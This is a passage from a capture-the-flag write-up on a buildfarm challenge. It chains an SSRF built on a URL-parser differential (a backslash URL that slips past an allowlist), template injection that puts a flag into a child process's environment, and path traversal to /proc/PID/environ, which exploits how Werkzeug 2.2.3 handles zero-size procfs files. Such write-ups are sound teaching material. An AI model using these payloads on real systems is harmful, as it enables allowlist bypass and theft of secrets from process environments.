    mirror &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; urllib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;parse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urlparse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hostname

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; mirror &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; TRUSTED_MIRRORS&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; jsonify&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;mirror is not on the trusted list&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;mirror&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; mirror&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;403&lt;/span&gt;

    resp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; allow_redirects&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Response&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status_code&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    content_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The input is checked with &lt;code&gt;urllib.parse&lt;/code&gt;, then passed to &lt;code&gt;requests&lt;/code&gt;. Looking
through &lt;code&gt;requests&lt;/code&gt;, its URL preparation eventually uses
&lt;a href=&quot;https://github.com/psf/requests/blob/414f0513c33883adf6f2b46901d4f0b38a455851/src/requests/models.py#L511&quot;&gt;&lt;code&gt;urllib3.util.parse_url&lt;/code&gt;&lt;/a&gt;,
not the standard library parser.&lt;/p&gt;
&lt;p&gt;This is another parser differential. The useful shape is:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://127.0.0.1:8000&#92;@manifests.buildfarm.internal/?spec=ENCODED_SPEC&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The two interpretations are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Interpretation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;urllib.parse.urlparse(url).hostname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;manifests.buildfarm.internal&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;urllib3.parse_url(url)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Host &lt;code&gt;127.0.0.1&lt;/code&gt;, port &lt;code&gt;8000&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The backslash changes how the authority is divided. The allowlist sees a
trusted hostname, while the HTTP client connects to the root worker listening
on &lt;code&gt;127.0.0.1:8000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This exact family of bugs is discussed in SonarSource&#39;s article on
&lt;a href=&quot;https://www.sonarsource.com/blog/security-implications-of-url-parsing-differentials/&quot;&gt;URL parsing differentials&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The SSRF request reaches this catch-all route in &lt;code&gt;worker.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; defaults&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; methods&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/&amp;lt;path:path&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; methods&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;schedule&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    raw &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;args&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;spec&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;form&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;spec&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The root-only service is no longer isolated from us.&lt;/p&gt;
&lt;h2&gt;Moving the flag across the privilege boundary&lt;/h2&gt;
&lt;p&gt;The worker is started directly by the entrypoint, before &lt;code&gt;gosu ctf&lt;/code&gt; is used for
Gunicorn, so it stays root. It loads the secret once at startup:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;VAULT_FILE &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/secrets/flag&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;load_vault&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;VAULT_FILE&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;FLAG&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

VAULT &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; load_vault&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the part that initially sounds like “the worker puts the flag in its
environment”, but that is not quite what happens. &lt;code&gt;VAULT&lt;/code&gt; is an in-memory
Python dictionary in the root worker. The flag is copied into a child
environment only when a manifest value references &lt;code&gt;$FLAG&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;materialise_env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    resolved &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; val &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;items&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; _unsafe_env_name&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            resolved&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; string&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Template&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;safe_substitute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;VAULT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            resolved&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;val&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; resolved&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;a href=&quot;https://docs.python.org/3.9/library/string.html#template-strings&quot;&gt;&lt;code&gt;string.Template&lt;/code&gt;&lt;/a&gt;
syntax is enough for us. We submit this build specification through the SSRF:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;task&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;ttl&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;env&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;LEAK&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;$FLAG&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;PAD&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;AAAA...&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;IDX&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The worker takes the expanded values and starts the runner as &lt;code&gt;ctf&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;child_env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;materialise_env&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

proc &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; subprocess&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Popen&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;executable&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;-I&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; RUNNER&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; workdir&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ttl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    env&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;child_env&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    user&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;AGENT_UID&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    group&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;AGENT_GID&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    cwd&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;workdir&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the &lt;code&gt;Popen&lt;/code&gt;, the state looks like this:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;root worker:
    VAULT[&quot;FLAG&quot;] = L3AK{...}

runner, running as ctf:
    LEAK=L3AK{...}
    PAD=AAAA...
    IDX=0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The runner does not need to call &lt;code&gt;getenv(&amp;quot;LEAK&amp;quot;)&lt;/code&gt; or use the value in Python.
The environment is already part of the process state created by &lt;code&gt;execve&lt;/code&gt;, and
Linux exposes that state through &lt;code&gt;/proc/PID/environ&lt;/code&gt;. The runner only needs
to stay alive long enough for us to find it and race the file-serving code.&lt;/p&gt;
&lt;p&gt;Its build log gives us a stable way to identify the PID:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;do_build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;workdir&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ttl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    log &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;workdir&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;build.log&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;log&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;[buildfarm] agent online&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;[buildfarm] build succeeded&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    deadline &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;time&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; ttl
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;time&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; deadline&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        time&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the runner&#39;s working directory is the job directory, the solver scans:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../proc/RUNNER_PID/cwd/build.log&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finding &lt;code&gt;[buildfarm] agent online&lt;/code&gt; tells us that &lt;code&gt;RUNNER_PID&lt;/code&gt; is a live runner
with the flag in its environment.&lt;/p&gt;
&lt;h2&gt;Why procfs says zero when it can still return data&lt;/h2&gt;
&lt;p&gt;Now we can explain the empty response from earlier. The direct target is the
runner process&#39;s procfs environment file:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/download/JOB_ID/../../proc/RUNNER_PID/environ&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The public app and runner are both &lt;code&gt;ctf&lt;/code&gt;, so the access check succeeds. The
&lt;a href=&quot;https://man7.org/linux/man-pages/man5/proc_pid_environ.5.html&quot;&gt;Linux &lt;code&gt;proc_pid_environ(5)&lt;/code&gt; manual page&lt;/a&gt;
describes this file as a view of the environment that was present when the
process started. It is not a normal disk file with a stored length.&lt;/p&gt;
&lt;p&gt;On Linux, the difference is easy to reproduce with the current shell process:&lt;/p&gt;
&lt;pre class=&quot;language-sh&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;stat&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;%s&#39;&lt;/span&gt; /proc/&lt;span class=&quot;token variable&quot;&gt;$$&lt;/span&gt;/environ
&lt;span class=&quot;token comment&quot;&gt;# 0&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;0&#39;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; /proc/&lt;span class=&quot;token variable&quot;&gt;$$&lt;/span&gt;/environ &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# PATH=/usr/local/bin:...&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit uses &lt;code&gt;RUNNER_PID&lt;/code&gt; instead of &lt;code&gt;$$&lt;/code&gt;, but the procfs behaviour is the
same: the kernel can provide bytes when a process reads the file, while &lt;code&gt;stat&lt;/code&gt;
still reports &lt;code&gt;st_size == 0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That is exactly the combination that breaks this version of Werkzeug&#39;s file
server. The relevant part of
&lt;a href=&quot;https://github.com/pallets/werkzeug/blob/2.2.3/src/werkzeug/utils.py&quot;&gt;Werkzeug 2.2.3&#39;s &lt;code&gt;send_file&lt;/code&gt;&lt;/a&gt;
is effectively:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;abspath&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
stat &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;st_size

